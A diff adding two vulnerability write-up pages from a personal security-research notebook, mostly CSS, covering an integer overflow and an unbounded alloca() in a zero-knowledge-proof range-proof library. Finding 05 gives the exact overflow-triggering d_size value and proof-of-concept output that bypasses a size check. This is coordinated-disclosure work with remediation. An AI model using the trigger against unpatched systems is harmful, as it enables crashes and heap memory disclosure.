| + | ||
| + | /* flagship */ | |
| + | .flag{background:linear-gradient(180deg,var(--panel) 0%,var(--bg2) 100%); | |
| + | border:1px solid var(--line2);border-radius:14px;overflow:hidden;} | |
| + | .flag .top{padding:30px 32px 8px;} | |
| + | .flag .tag{font-size:12px;letter-spacing:1.5px;text-transform:uppercase;color:var(--accent);margin-bottom:12px;} | |
| + | .flag h3{font-size:27px;margin:0 0 6px;letter-spacing:-.4px;} | |
| + | .flag h3 .v{font-size:13px;color:var(--muted);font-weight:500;margin-left:8px;letter-spacing:0;} | |
| + | .flag .grid{display:grid;grid-template-columns:1.25fr 1fr;gap:30px;padding:14px 32px 30px;} | |
| + | .flag p{color:var(--soft);margin:0 0 16px;} | |
| + | .flag .stats{display:grid;grid-template-columns:1fr 1fr;gap:12px;margin-top:6px;} | |
| + | .stat{background:var(--bg);border:1px solid var(--line);border-radius:9px;padding:13px 15px;} | |
| + | .stat .n{font-size:21px;font-weight:680;color:var(--ink);} | |
| + | .stat .k{font-size:12px;color:var(--muted);margin-top:2px;} | |
| + | .spec{background:var(--bg);border:1px solid var(--line);border-radius:10px;padding:18px 18px;} | |
| + | .spec .sk{font-size:11px;letter-spacing:1.5px;text-transform:uppercase;color:var(--faint);margin-bottom:10px;} | |
| + | .spec ul{margin:0;padding:0;list-style:none;font-size:13.5px;} | |
| + | .spec li{padding:6px 0;border-top:1px solid var(--line);color:var(--soft);display:flex;justify-content:space-between;gap:14px;} | |
| + | .spec li:first-child{border-top:none;} | |
| + | .spec li span{color:var(--muted);} | |
| + | .flag .foot{padding:0 32px 28px;display:flex;gap:18px;flex-wrap:wrap;font-size:14px;} | |
| + | @media(max-width:720px){.flag .grid{grid-template-columns:1fr;}} | |
| + | ||
| + | /* lab cards */ | |
| + | .cards{display:grid;grid-template-columns:1fr 1fr;gap:20px;} | |
| + | @media(max-width:680px){.cards{grid-template-columns:1fr;}} | |
| + | .card{border:1px solid var(--line);border-radius:12px;overflow:hidden;background:var(--panel); | |
| + | display:flex;flex-direction:column;transition:border-color .15s,transform .15s;} | |
| + | .card:hover{border-color:var(--accent-dim);transform:translateY(-2px);} | |
| + | .card .thumb{height:172px;overflow:hidden;border-bottom:1px solid var(--line);background:#fff;} | |
| + | .card .thumb img{width:100%;height:100%;object-fit:cover;object-position:top left;display:block;} | |
| + | .card .body{padding:18px 20px 20px;display:flex;flex-direction:column;flex:1;} | |
| + | .card h3{margin:0 0 9px;font-size:17px;} | |
| + | .card p{margin:0 0 14px;font-size:14px;color:var(--soft);flex:1;} | |
| + | .tags{display:flex;flex-wrap:wrap;gap:6px;margin-bottom:14px;} | |
| + | .tags span{font-size:11.5px;color:var(--muted);background:var(--bg);border:1px solid var(--line); | |
| + | border-radius:5px;padding:3px 8px;} | |
| + | .card .lnk{font-size:13.5px;font-family:ui-monospace,Menlo,monospace;} | |
| + | .card .lnk::after{content:" →";} | |
| + | ||
| + | /* research */ | |
| + | .rlede{color:var(--soft);max-width:680px;margin:-6px 0 26px;} | |
| + | .research{display:flex;flex-direction:column;gap:0;border:1px solid var(--line);border-radius:12px;overflow:hidden;} | |
| + | .ritem{display:grid;grid-template-columns:120px 1fr auto;gap:18px;align-items:center; | |
| + | padding:18px 22px;border-top:1px solid var(--line);} | |
| + | .ritem:first-child{border-top:none;} | |
| + | .ritem:hover{background:var(--panel);} | |
| + | .ritem .cls{font-size:11px;letter-spacing:.5px;text-transform:uppercase;color:var(--accent);} | |
| + | .ritem h3{margin:0 0 3px;font-size:16px;} | |
| + | .ritem p{margin:0;font-size:13.5px;color:var(--muted);} | |
| + | .ritem .go{font-family:ui-monospace,Menlo,monospace;font-size:13px;white-space:nowrap;} | |
| + | @media(max-width:680px){.ritem{grid-template-columns:1fr;gap:6px;}.ritem .go{margin-top:4px;}} | |
| + | .progs{margin-top:22px;} | |
| + | .progs .sk{font-size:11px;letter-spacing:1.5px;text-transform:uppercase;color:var(--faint);margin-bottom:11px;} | |
| + | .progs .row{display:flex;flex-wrap:wrap;gap:7px;} | |
| + | .progs .row span{font-size:12.5px;color:var(--soft);background:var(--panel);border:1px solid var(--line); | |
| + | border-radius:6px;padding:4px 10px;} | |
| + | ||
| + | /* credentials */ | |
| + | .cred{display:grid;grid-template-columns:1.1fr 1fr;gap:28px;} | |
| + | @media(max-width:680px){.cred{grid-template-columns:1fr;}} | |
| + | .cred p{color:var(--soft);margin:0 0 14px;} | |
| + | .cred .role{font-size:14px;color:var(--muted);} | |
| + | .cred .role b{color:var(--ink);font-weight:600;} | |
| + | .certs{list-style:none;margin:0;padding:0;} | |
| + | .certs li{padding:9px 0;border-top:1px solid var(--line);font-size:14px;color:var(--soft); | |
| + | display:flex;gap:10px;align-items:baseline;} | |
| + | .certs li:first-child{border-top:none;} | |
| + | .certs li .c{color:var(--accent);font-family:ui-monospace,Menlo,monospace;font-size:12px;} | |
| + | ||
| + | footer{padding:46px 0 64px;} | |
| + | footer .row{display:flex;flex-wrap:wrap;justify-content:space-between;gap:18px;align-items:center;} | |
| + | footer .links a{color:var(--soft);margin-right:20px;font-size:14px;} | |
| + | footer .note{color:var(--faint);font-size:12.5px;max-width:520px;} | |
| + | ||
| + | .detail-hero{padding:40px 0 26px;} | |
| + | .back{display:inline-block;font-size:13px;color:var(--muted);margin-bottom:20px;font-family:ui-monospace,Menlo,monospace;} | |
| + | .back:hover{color:var(--ink);} | |
| + | .kicker{font-size:12px;letter-spacing:2px;text-transform:uppercase;color:var(--accent);margin-bottom:13px;font-family:ui-monospace,Menlo,monospace;} | |
| + | .detail-hero h1{font-size:clamp(26px,4.6vw,38px);margin:0 0 12px;letter-spacing:-.5px;} | |
| + | .detail-hero .tagline{font-size:clamp(15px,2vw,18px);color:var(--soft);max-width:800px;margin:0 0 16px;} | |
| + | .facts{display:grid;grid-template-columns:repeat(auto-fit,minmax(150px,1fr));gap:12px;margin-top:22px;} | |
| + | .content{padding:8px 0 0;max-width:840px;} | |
| + | .content h1{font-size:24px;margin:40px 0 14px;letter-spacing:-.4px;color:var(--ink);} | |
| + | .content h2{font-size:13px;letter-spacing:2px;text-transform:uppercase;color:var(--muted);margin:42px 0 15px;font-weight:600;border-top:1px solid var(--line);padding-top:28px;} | |
| + | .content h3{font-size:17px;margin:28px 0 10px;color:var(--ink);font-weight:600;} | |
| + | .content h4{font-size:14px;margin:22px 0 8px;color:var(--soft);font-weight:600;text-transform:uppercase;letter-spacing:.5px;} | |
| + | .content p{color:var(--soft);margin:0 0 15px;} | |
| + | .content ul,.content ol{color:var(--soft);margin:0 0 15px;padding-left:22px;} | |
| + | .content li{margin:5px 0;} | |
| + | .content strong{color:var(--ink);font-weight:600;} | |
| + | .content a{color:var(--accent);} | |
| + | .content code{font-family:ui-monospace,Menlo,monospace;font-size:12.8px;background:var(--panel2);border:1px solid var(--line);border-radius:4px;padding:1px 5px;color:var(--soft);} | |
| + | .content pre{background:var(--bg2);border:1px solid var(--line2);border-radius:10px;padding:15px 18px;overflow-x:auto;margin:0 0 18px;} | |
| + | .content pre code{background:none;border:none;padding:0;font-size:12.4px;color:var(--soft);line-height:1.6;white-space:pre;} | |
| + | .content table{width:100%;border-collapse:collapse;margin:2px 0 20px;font-size:13.3px;} | |
| + | .content th{text-align:left;color:var(--muted);font-weight:600;border-bottom:1px solid var(--line2);padding:9px 12px;font-size:11px;letter-spacing:.6px;text-transform:uppercase;} | |
| + | .content td{color:var(--soft);border-bottom:1px solid var(--line);padding:9px 12px;vertical-align:top;} | |
| + | .content blockquote{border-left:3px solid var(--accent-dim);margin:0 0 16px;padding:2px 0 2px 18px;color:var(--muted);} | |
| + | .content hr{border:none;border-top:1px solid var(--line);margin:30px 0;} | |
| + | /* notebook index */ | |
| + | .nbgroup{margin:40px 0 0;} | |
| + | .nbgroup h2{font-size:13px;letter-spacing:2px;text-transform:uppercase;color:var(--accent);margin:0 0 4px;font-weight:600;} | |
| + | .nbgroup .gd{color:var(--faint);font-size:13px;margin:0 0 14px;} | |
| + | .nbtable{width:100%;border-collapse:collapse;font-size:14px;border:1px solid var(--line);border-radius:12px;overflow:hidden;} | |
| + | .nbtable tr{border-top:1px solid var(--line);} | |
| + | .nbtable tr:first-child{border-top:none;} | |
| + | .nbtable tr:hover{background:var(--panel);} | |
| + | .nbtable td{padding:14px 16px;vertical-align:top;} | |
| + | .nbtable .cls{white-space:nowrap;color:var(--accent);font-family:ui-monospace,Menlo,monospace;font-size:11.5px;text-transform:uppercase;letter-spacing:.5px;width:150px;} | |
| + | .nbtable .ti a{font-weight:600;color:var(--ink);} | |
| + | .nbtable .ti a:hover{color:var(--accent);} | |
| + | .nbtable .ol{color:var(--muted);font-size:13px;margin-top:3px;} | |
| + | @media(max-width:680px){.nbtable .cls{width:auto;display:block;}} | |
| + | </style><!--SEO--> | |
| + | <link rel="canonical" href="https://zionboggan.com/security-research-notebook/05-integer-overflow-quadratic-zkp-deser-P3/"> | |
| + | <meta name="author" content="Zion Boggan"> | |
| + | <meta name="robots" content="index, follow, max-image-preview:large"> | |
| + | <meta property="og:type" content="article"> | |
| + | <meta property="og:site_name" content="Zion Boggan"> | |
| + | <meta property="og:title" content="Finding 05: Integer Overflow in Quadratic ZKP Deserialization | Zion Boggan"> | |
| + | <meta property="og:description" content="Integer overflow during quadratic-residue ZKP deserialization."> | |
| + | <meta property="og:url" content="https://zionboggan.com/security-research-notebook/05-integer-overflow-quadratic-zkp-deser-P3/"> | |
| + | <meta property="og:image" content="https://zionboggan.com/assets/og-default.png"> | |
| + | <meta name="twitter:card" content="summary_large_image"> | |
| + | <meta name="twitter:title" content="Finding 05: Integer Overflow in Quadratic ZKP Deserialization | Zion Boggan"> | |
| + | <meta name="twitter:description" content="Integer overflow during quadratic-residue ZKP deserialization."> | |
| + | <meta name="twitter:image" content="https://zionboggan.com/assets/og-default.png"> | |
| + | <script type="application/ld+json">{"@context":"https://schema.org","@type":"TechArticle","headline":"Finding 05: Integer Overflow in Quadratic ZKP Deserialization","description":"Integer overflow during quadratic-residue ZKP deserialization.","url":"https://zionboggan.com/security-research-notebook/05-integer-overflow-quadratic-zkp-deser-P3/","image":"https://zionboggan.com/assets/og-default.png","author":{"@type":"Person","name":"Zion Boggan","url":"https://zionboggan.com"},"publisher":{"@type":"Person","name":"Zion Boggan"}}</script> | |
| + | <!--/SEO--> | |
| + | </head><body> | |
| + | <nav><div class="wrap"> | |
| + | <a class="brand mono" href="/" style="color:var(--ink)">zion_boggan<span class="dot">.</span></a> | |
| + | <span class="links"><a href="/#oversight">Oversight</a><a href="/#labs">Labs</a><a href="/#research">Research</a><a href="/security-research-notebook/">Notebook</a><a href="/">Home</a></span> | |
| + | </div></nav> | |
| + | <header class="hero detail-hero"><div class="wrap"> | |
| + | <a class="back" href="/security-research-notebook/">← Research notebook</a> | |
| + | <div class="kicker">Memory safety / crypto</div> | |
| + | <h1>Finding 05: Integer Overflow in Quadratic ZKP Deserialization</h1> | |
| + | </div></header> | |
| + | <section><div class="wrap"><div class="content"> | |
| + | <h2>Severity: P3 (Medium), Size check bypass via integer overflow (CWE-190)</h2> | |
| + | <h2>Summary</h2> | |
| + | <p><code>paillier_large_factors_quadratic_proof_size_from_dsize()</code> computes <code>sizeof(uint32_t) + 9*d_size + 2*z_size</code> in <code>uint32_t</code> arithmetic. Attacker-controlled <code>d_size</code> from serialized proof causes <code>9*d_size</code> to overflow, producing a small result that passes the bounds check. The function proceeds to read <code>d_size</code> (~477MB) from a tiny buffer.</p> | |
| + | <h2>Location</h2> | |
| + | <ul> | |
| + | <li><strong>File:</strong> <code>src/common/crypto/zero_knowledge_proof/range_proofs.c</code>, lines 2042-2085</li> | |
| + | </ul> | |
| + | <h2>PoC Verified</h2> | |
| + | <pre><code>d_size = 0x1C71C71D: 9*d_size overflows uint32_t to 5 | |
| + | True required: 4.3 GB → overflows to 273 bytes | |
| + | proof_len(373) >= expected(273)? YES - BYPASSED! | |
| + | Function returned -1 (BN_bin2bn alloc fails gracefully for 477MB) | |
| + | </code></pre> | |
| + | <p>On systems with memory overcommit, <code>BN_bin2bn</code> would succeed and read 477MB of adjacent heap memory.</p> | |
| + | <h2>Remediation</h2> | |
| + | <pre><code class="language-c">if (d_size > 4096) return NULL; // No legitimate d exceeds 4096 bytes | |
| + | </code></pre> | |
| + | <hr><p style="color:var(--faint);font-size:12.5px;font-family:ui-monospace,Menlo,monospace">Source · github.com/zionboggan/security-research-notebook · writeups/fireblocks/05-integer-overflow-quadratic-zkp-deser-P3.md</p> | |
| + | </div></div></section> | |
| + | <footer><div class="wrap row"> | |
| + | <div class="links"><a href="/">Portfolio</a><a href="https://www.linkedin.com/in/zion-boggan">LinkedIn</a><a href="/security-research-notebook/">Notebook</a><a href="mailto:zionboggan0@gmail.com">Email</a></div> | |
| + | <div class="note">Coordinated-disclosure research. Findings appear here only after the program's disclosure window closed, the patch shipped, or a CVE was published. No customer data was accessed.</div> | |
| + | </div></footer> | |
| + | </body></html> |
| @@ -0,0 +1,221 @@ | ||
| + | <!doctype html> | |
| + | <html lang="en"><head><meta charset="utf-8"> | |
| + | <meta name="viewport" content="width=device-width, initial-scale=1.0"> | |
| + | <title>Finding 06: Unbounded alloca() in generate_basis → Stack Overflow | Zion Boggan</title> | |
| + | <meta name="description" content="Unbounded `alloca()` on attacker-sized range-proof input stack-overflows the verifier."> | |
| + | <link rel="icon" href="data:image/svg+xml,%3Csvg xmlns='http://www.w3.org/2000/svg' viewBox='0 0 32 32'%3E%3Crect width='32' height='32' rx='6' fill='%230c0e12'/%3E%3Ctext x='16' y='22' font-family='monospace' font-size='15' fill='%236cc7b8' text-anchor='middle'%3Ezb%3C/text%3E%3C/svg%3E"> | |
| + | <style> | |
| + | :root{ | |
| + | --bg:#0c0e12; --bg2:#0f1217; --panel:#14181f; --panel2:#171c24; | |
| + | --line:#222936; --line2:#2c3543; | |
| + | --ink:#e8eaed; --soft:#c3cad4; --muted:#8a94a3; --faint:#5d6675; | |
| + | --accent:#6cc7b8; --accent-dim:#274b47; | |
| + | --maxw:1020px; | |
| + | } | |
| + | *{box-sizing:border-box;} | |
| + | html{scroll-behavior:smooth;} | |
| + | body{margin:0;background:var(--bg);color:var(--ink); | |
| + | font-family:-apple-system,BlinkMacSystemFont,"Segoe UI",Roboto,Helvetica,Arial,sans-serif; | |
| + | font-size:16px;line-height:1.65;-webkit-font-smoothing:antialiased;} | |
| + | .mono{font-family:ui-monospace,SFMono-Regular,"SF Mono",Menlo,Consolas,monospace;} | |
| + | a{color:var(--accent);text-decoration:none;} | |
| + | a:hover{color:#8fe0d2;} | |
| + | .wrap{max-width:var(--maxw);margin:0 auto;padding:0 24px;} | |
| + | ||
| + | /* nav */ | |
| + | nav{position:sticky;top:0;z-index:20;background:rgba(12,14,18,.82); | |
| + | backdrop-filter:blur(10px);border-bottom:1px solid var(--line);} | |
| + | nav .wrap{display:flex;align-items:center;justify-content:space-between;height:58px;} | |
| + | nav .brand{font-weight:600;letter-spacing:.2px;} | |
| + | nav .brand .dot{color:var(--accent);} | |
| + | nav .links{display:flex;gap:26px;font-size:13.5px;} | |
| + | nav .links a{color:var(--muted);} | |
| + | nav .links a:hover{color:var(--ink);} | |
| + | @media(max-width:680px){nav .links{display:none;}} | |
| + | ||
| + | /* hero */ | |
| + | header.hero{padding:74px 0 54px;border-bottom:1px solid var(--line); | |
| + | background:radial-gradient(900px 380px at 78% -10%, #11201e 0%, transparent 60%);} | |
| + | .avail{font-size:12.5px;letter-spacing:1.5px;text-transform:uppercase;color:var(--accent); | |
| + | display:flex;align-items:center;gap:9px;margin-bottom:20px;} | |
| + | .avail .pulse{width:7px;height:7px;border-radius:50%;background:var(--accent); | |
| + | box-shadow:0 0 0 0 rgba(108,199,184,.5);animation:p 2.4s infinite;} | |
| + | @keyframes p{0%{box-shadow:0 0 0 0 rgba(108,199,184,.45)}70%{box-shadow:0 0 0 8px rgba(108,199,184,0)}100%{box-shadow:0 0 0 0 rgba(108,199,184,0)}} | |
| + | h1{font-size:clamp(34px,6vw,52px);line-height:1.05;margin:0 0 8px;letter-spacing:-1px;font-weight:680;} | |
| + | .hero .sub{font-size:clamp(16px,2.4vw,20px);color:var(--soft);margin:0 0 24px;font-weight:500;} | |
| + | .hero .lede{max-width:660px;color:var(--soft);font-size:17px;margin:0 0 28px;} | |
| + | .hero .lede b{color:var(--ink);font-weight:600;} | |
| + | .cta{display:flex;flex-wrap:wrap;gap:12px;align-items:center;} | |
| + | .btn{display:inline-flex;align-items:center;gap:8px;padding:10px 18px;border-radius:8px; | |
| + | font-size:14.5px;font-weight:550;border:1px solid var(--line2);color:var(--ink);background:var(--panel);} | |
| + | .btn:hover{border-color:var(--accent-dim);background:var(--panel2);color:var(--ink);} | |
| + | .btn.primary{background:var(--accent);color:#06231f;border-color:var(--accent);font-weight:650;} | |
| + | .btn.primary:hover{background:#8fe0d2;color:#06231f;} | |
| + | .meta{margin-top:26px;display:flex;flex-wrap:wrap;gap:8px 22px;font-size:13px;color:var(--muted);} | |
| + | .meta .mono{color:var(--faint);} | |
| + | ||
| + | /* sections */ | |
| + | section{padding:64px 0;border-bottom:1px solid var(--line);} | |
| + | .shead{display:flex;align-items:baseline;gap:14px;margin-bottom:30px;} | |
| + | .shead .idx{font-size:13px;color:var(--accent);letter-spacing:1px;} | |
| + | .shead h2{font-size:14px;letter-spacing:2px;text-transform:uppercase;color:var(--muted);margin:0;font-weight:600;} | |
| + | .shead .rule{flex:1;height:1px;background:var(--line);} | |
| + | ||
| + | /* flagship */ | |
| + | .flag{background:linear-gradient(180deg,var(--panel) 0%,var(--bg2) 100%); | |
| + | border:1px solid var(--line2);border-radius:14px;overflow:hidden;} | |
| + | .flag .top{padding:30px 32px 8px;} | |
| + | .flag .tag{font-size:12px;letter-spacing:1.5px;text-transform:uppercase;color:var(--accent);margin-bottom:12px;} | |
| + | .flag h3{font-size:27px;margin:0 0 6px;letter-spacing:-.4px;} | |
| + | .flag h3 .v{font-size:13px;color:var(--muted);font-weight:500;margin-left:8px;letter-spacing:0;} | |
| + | .flag .grid{display:grid;grid-template-columns:1.25fr 1fr;gap:30px;padding:14px 32px 30px;} | |
| + | .flag p{color:var(--soft);margin:0 0 16px;} | |
| + | .flag .stats{display:grid;grid-template-columns:1fr 1fr;gap:12px;margin-top:6px;} | |
| + | .stat{background:var(--bg);border:1px solid var(--line);border-radius:9px;padding:13px 15px;} | |
| + | .stat .n{font-size:21px;font-weight:680;color:var(--ink);} | |
| + | .stat .k{font-size:12px;color:var(--muted);margin-top:2px;} | |
| + | .spec{background:var(--bg);border:1px solid var(--line);border-radius:10px;padding:18px 18px;} | |
| + | .spec .sk{font-size:11px;letter-spacing:1.5px;text-transform:uppercase;color:var(--faint);margin-bottom:10px;} | |
| + | .spec ul{margin:0;padding:0;list-style:none;font-size:13.5px;} | |
| + | .spec li{padding:6px 0;border-top:1px solid var(--line);color:var(--soft);display:flex;justify-content:space-between;gap:14px;} | |
| + | .spec li:first-child{border-top:none;} | |
| + | .spec li span{color:var(--muted);} | |
| + | .flag .foot{padding:0 32px 28px;display:flex;gap:18px;flex-wrap:wrap;font-size:14px;} | |
| + | @media(max-width:720px){.flag .grid{grid-template-columns:1fr;}} | |
| + | ||
| + | /* lab cards */ | |
| + | .cards{display:grid;grid-template-columns:1fr 1fr;gap:20px;} | |
| + | @media(max-width:680px){.cards{grid-template-columns:1fr;}} | |
| + | .card{border:1px solid var(--line);border-radius:12px;overflow:hidden;background:var(--panel); | |
| + | display:flex;flex-direction:column;transition:border-color .15s,transform .15s;} | |
| + | .card:hover{border-color:var(--accent-dim);transform:translateY(-2px);} | |
| + | .card .thumb{height:172px;overflow:hidden;border-bottom:1px solid var(--line);background:#fff;} | |
| + | .card .thumb img{width:100%;height:100%;object-fit:cover;object-position:top left;display:block;} | |
| + | .card .body{padding:18px 20px 20px;display:flex;flex-direction:column;flex:1;} | |
| + | .card h3{margin:0 0 9px;font-size:17px;} | |
| + | .card p{margin:0 0 14px;font-size:14px;color:var(--soft);flex:1;} | |
| + | .tags{display:flex;flex-wrap:wrap;gap:6px;margin-bottom:14px;} | |
| + | .tags span{font-size:11.5px;color:var(--muted);background:var(--bg);border:1px solid var(--line); | |
| + | border-radius:5px;padding:3px 8px;} | |
| + | .card .lnk{font-size:13.5px;font-family:ui-monospace,Menlo,monospace;} | |
| + | .card .lnk::after{content:" →";} | |
| + | ||
| + | /* research */ | |
| + | .rlede{color:var(--soft);max-width:680px;margin:-6px 0 26px;} | |
| + | .research{display:flex;flex-direction:column;gap:0;border:1px solid var(--line);border-radius:12px;overflow:hidden;} | |
| + | .ritem{display:grid;grid-template-columns:120px 1fr auto;gap:18px;align-items:center; | |
| + | padding:18px 22px;border-top:1px solid var(--line);} | |
| + | .ritem:first-child{border-top:none;} | |
| + | .ritem:hover{background:var(--panel);} | |
| + | .ritem .cls{font-size:11px;letter-spacing:.5px;text-transform:uppercase;color:var(--accent);} | |
| + | .ritem h3{margin:0 0 3px;font-size:16px;} | |
| + | .ritem p{margin:0;font-size:13.5px;color:var(--muted);} | |
| + | .ritem .go{font-family:ui-monospace,Menlo,monospace;font-size:13px;white-space:nowrap;} | |
| + | @media(max-width:680px){.ritem{grid-template-columns:1fr;gap:6px;}.ritem .go{margin-top:4px;}} | |
| + | .progs{margin-top:22px;} | |
| + | .progs .sk{font-size:11px;letter-spacing:1.5px;text-transform:uppercase;color:var(--faint);margin-bottom:11px;} | |
| + | .progs .row{display:flex;flex-wrap:wrap;gap:7px;} | |
| + | .progs .row span{font-size:12.5px;color:var(--soft);background:var(--panel);border:1px solid var(--line); | |
| + | border-radius:6px;padding:4px 10px;} | |
| + | ||
| + | /* credentials */ | |
| + | .cred{display:grid;grid-template-columns:1.1fr 1fr;gap:28px;} | |
| + | @media(max-width:680px){.cred{grid-template-columns:1fr;}} | |
| + | .cred p{color:var(--soft);margin:0 0 14px;} | |
| + | .cred .role{font-size:14px;color:var(--muted);} | |
| + | .cred .role b{color:var(--ink);font-weight:600;} | |
| + | .certs{list-style:none;margin:0;padding:0;} | |
| + | .certs li{padding:9px 0;border-top:1px solid var(--line);font-size:14px;color:var(--soft); | |
| + | display:flex;gap:10px;align-items:baseline;} | |
| + | .certs li:first-child{border-top:none;} | |
| + | .certs li .c{color:var(--accent);font-family:ui-monospace,Menlo,monospace;font-size:12px;} | |
| + | ||
| + | footer{padding:46px 0 64px;} | |
| + | footer .row{display:flex;flex-wrap:wrap;justify-content:space-between;gap:18px;align-items:center;} | |
| + | footer .links a{color:var(--soft);margin-right:20px;font-size:14px;} | |
| + | footer .note{color:var(--faint);font-size:12.5px;max-width:520px;} | |
| + | ||
| + | .detail-hero{padding:40px 0 26px;} | |
| + | .back{display:inline-block;font-size:13px;color:var(--muted);margin-bottom:20px;font-family:ui-monospace,Menlo,monospace;} | |
| + | .back:hover{color:var(--ink);} | |
| + | .kicker{font-size:12px;letter-spacing:2px;text-transform:uppercase;color:var(--accent);margin-bottom:13px;font-family:ui-monospace,Menlo,monospace;} | |
| + | .detail-hero h1{font-size:clamp(26px,4.6vw,38px);margin:0 0 12px;letter-spacing:-.5px;} | |
| + | .detail-hero .tagline{font-size:clamp(15px,2vw,18px);color:var(--soft);max-width:800px;margin:0 0 16px;} | |
| + | .facts{display:grid;grid-template-columns:repeat(auto-fit,minmax(150px,1fr));gap:12px;margin-top:22px;} | |
| + | .content{padding:8px 0 0;max-width:840px;} | |
| + | .content h1{font-size:24px;margin:40px 0 14px;letter-spacing:-.4px;color:var(--ink);} | |
| + | .content h2{font-size:13px;letter-spacing:2px;text-transform:uppercase;color:var(--muted);margin:42px 0 15px;font-weight:600;border-top:1px solid var(--line);padding-top:28px;} | |
| + | .content h3{font-size:17px;margin:28px 0 10px;color:var(--ink);font-weight:600;} | |
| + | .content h4{font-size:14px;margin:22px 0 8px;color:var(--soft);font-weight:600;text-transform:uppercase;letter-spacing:.5px;} | |
| + | .content p{color:var(--soft);margin:0 0 15px;} | |
| + | .content ul,.content ol{color:var(--soft);margin:0 0 15px;padding-left:22px;} | |
| + | .content li{margin:5px 0;} | |
| + | .content strong{color:var(--ink);font-weight:600;} | |
| + | .content a{color:var(--accent);} | |
| + | .content code{font-family:ui-monospace,Menlo,monospace;font-size:12.8px;background:var(--panel2);border:1px solid var(--line);border-radius:4px;padding:1px 5px;color:var(--soft);} | |
| + | .content pre{background:var(--bg2);border:1px solid var(--line2);border-radius:10px;padding:15px 18px;overflow-x:auto;margin:0 0 18px;} | |
| + | .content pre code{background:none;border:none;padding:0;font-size:12.4px;color:var(--soft);line-height:1.6;white-space:pre;} | |
| + | .content table{width:100%;border-collapse:collapse;margin:2px 0 20px;font-size:13.3px;} | |
| + | .content th{text-align:left;color:var(--muted);font-weight:600;border-bottom:1px solid var(--line2);padding:9px 12px;font-size:11px;letter-spacing:.6px;text-transform:uppercase;} | |
| + | .content td{color:var(--soft);border-bottom:1px solid var(--line);padding:9px 12px;vertical-align:top;} | |
| + | .content blockquote{border-left:3px solid var(--accent-dim);margin:0 0 16px;padding:2px 0 2px 18px;color:var(--muted);} | |
| + | .content hr{border:none;border-top:1px solid var(--line);margin:30px 0;} | |
| + | /* notebook index */ | |
| + | .nbgroup{margin:40px 0 0;} | |
| + | .nbgroup h2{font-size:13px;letter-spacing:2px;text-transform:uppercase;color:var(--accent);margin:0 0 4px;font-weight:600;} | |
| + | .nbgroup .gd{color:var(--faint);font-size:13px;margin:0 0 14px;} | |
| + | .nbtable{width:100%;border-collapse:collapse;font-size:14px;border:1px solid var(--line);border-radius:12px;overflow:hidden;} | |
| + | .nbtable tr{border-top:1px solid var(--line);} | |
| + | .nbtable tr:first-child{border-top:none;} | |
| + | .nbtable tr:hover{background:var(--panel);} | |
| + | .nbtable td{padding:14px 16px;vertical-align:top;} | |
| + | .nbtable .cls{white-space:nowrap;color:var(--accent);font-family:ui-monospace,Menlo,monospace;font-size:11.5px;text-transform:uppercase;letter-spacing:.5px;width:150px;} | |
| + | .nbtable .ti a{font-weight:600;color:var(--ink);} | |
| + | .nbtable .ti a:hover{color:var(--accent);} | |
| + | .nbtable .ol{color:var(--muted);font-size:13px;margin-top:3px;} | |
| + | @media(max-width:680px){.nbtable .cls{width:auto;display:block;}} | |
| + | </style><!--SEO--> | |
| + | <link rel="canonical" href="https://zionboggan.com/security-research-notebook/06-alloca-stack-overflow-range-proofs-P3/"> | |
| + | <meta name="author" content="Zion Boggan"> | |
| + | <meta name="robots" content="index, follow, max-image-preview:large"> | |
| + | <meta property="og:type" content="article"> | |
| + | <meta property="og:site_name" content="Zion Boggan"> | |
| + | <meta property="og:title" content="Finding 06: Unbounded alloca() in generate_basis → Stack Overflow | Zion Boggan"> | |
| + | <meta property="og:description" content="Unbounded `alloca()` on attacker-sized range-proof input stack-overflows the verifier."> | |
| + | <meta property="og:url" content="https://zionboggan.com/security-research-notebook/06-alloca-stack-overflow-range-proofs-P3/"> | |
| + | <meta property="og:image" content="https://zionboggan.com/assets/og-default.png"> | |
| + | <meta name="twitter:card" content="summary_large_image"> | |
| + | <meta name="twitter:title" content="Finding 06: Unbounded alloca() in generate_basis → Stack Overflow | Zion Boggan"> | |
| + | <meta name="twitter:description" content="Unbounded `alloca()` on attacker-sized range-proof input stack-overflows the verifier."> | |
| + | <meta name="twitter:image" content="https://zionboggan.com/assets/og-default.png"> | |
| + | <script type="application/ld+json">{"@context":"https://schema.org","@type":"TechArticle","headline":"Finding 06: Unbounded alloca() in generate_basis → Stack Overflow","description":"Unbounded `alloca()` on attacker-sized range-proof input stack-overflows the verifier.","url":"https://zionboggan.com/security-research-notebook/06-alloca-stack-overflow-range-proofs-P3/","image":"https://zionboggan.com/assets/og-default.png","author":{"@type":"Person","name":"Zion Boggan","url":"https://zionboggan.com"},"publisher":{"@type":"Person","name":"Zion Boggan"}}</script> | |
| + | <!--/SEO--> | |
| + | </head><body> | |
| + | <nav><div class="wrap"> | |
| + | <a class="brand mono" href="/" style="color:var(--ink)">zion_boggan<span class="dot">.</span></a> | |
| + | <span class="links"><a href="/#oversight">Oversight</a><a href="/#labs">Labs</a><a href="/#research">Research</a><a href="/security-research-notebook/">Notebook</a><a href="/">Home</a></span> | |
| + | </div></nav> | |
| + | <header class="hero detail-hero"><div class="wrap"> | |
| + | <a class="back" href="/security-research-notebook/">← Research notebook</a> | |
| + | <div class="kicker">Memory safety</div> | |
| + | <h1>Finding 06: Unbounded alloca() in generate_basis → Stack Overflow</h1> | |
| + | </div></header> | |
| + | <section><div class="wrap"><div class="content"> | |
| + | <h2>Severity: P3 (Medium), DoS via stack overflow</h2> | |
| + | <h2>Summary</h2> | |
| + | <p><code>range_proof_pailler_quadratic_generate_basis()</code> calls <code>alloca(BN_num_bytes(d) + aad_len + constant)</code> where <code>d</code> is deserialized from attacker-controlled proof BEFORE any validation. The sibling function <code>generate_paillier_large_factors_quadratic_zkp_seed</code> at line 1893 has <code>if (d_size > 4096) return 0</code>, but <code>generate_basis</code> has NO such guard.</p> | |
| + | <h2>Location</h2> | |
| + | <ul> | |
| + | <li><strong>File:</strong> <code>src/common/crypto/zero_knowledge_proof/range_proofs.c</code>, line 1700</li> | |
| + | <li><strong>Call chain:</strong> <code>verify()</code> → <code>deserialize()</code> → <code>generate_basis()</code> → <code>alloca(d_size+...)</code> → <strong>BEFORE</strong> <code>verify_setup()</code> (primality check)</li> | |
| + | </ul> | |
| + | <h2>Remediation</h2> | |
| + | <pre><code class="language-c">if (d_size > 4096 || salted_msg_len > 8192) return 0; | |
| + | </code></pre> | |
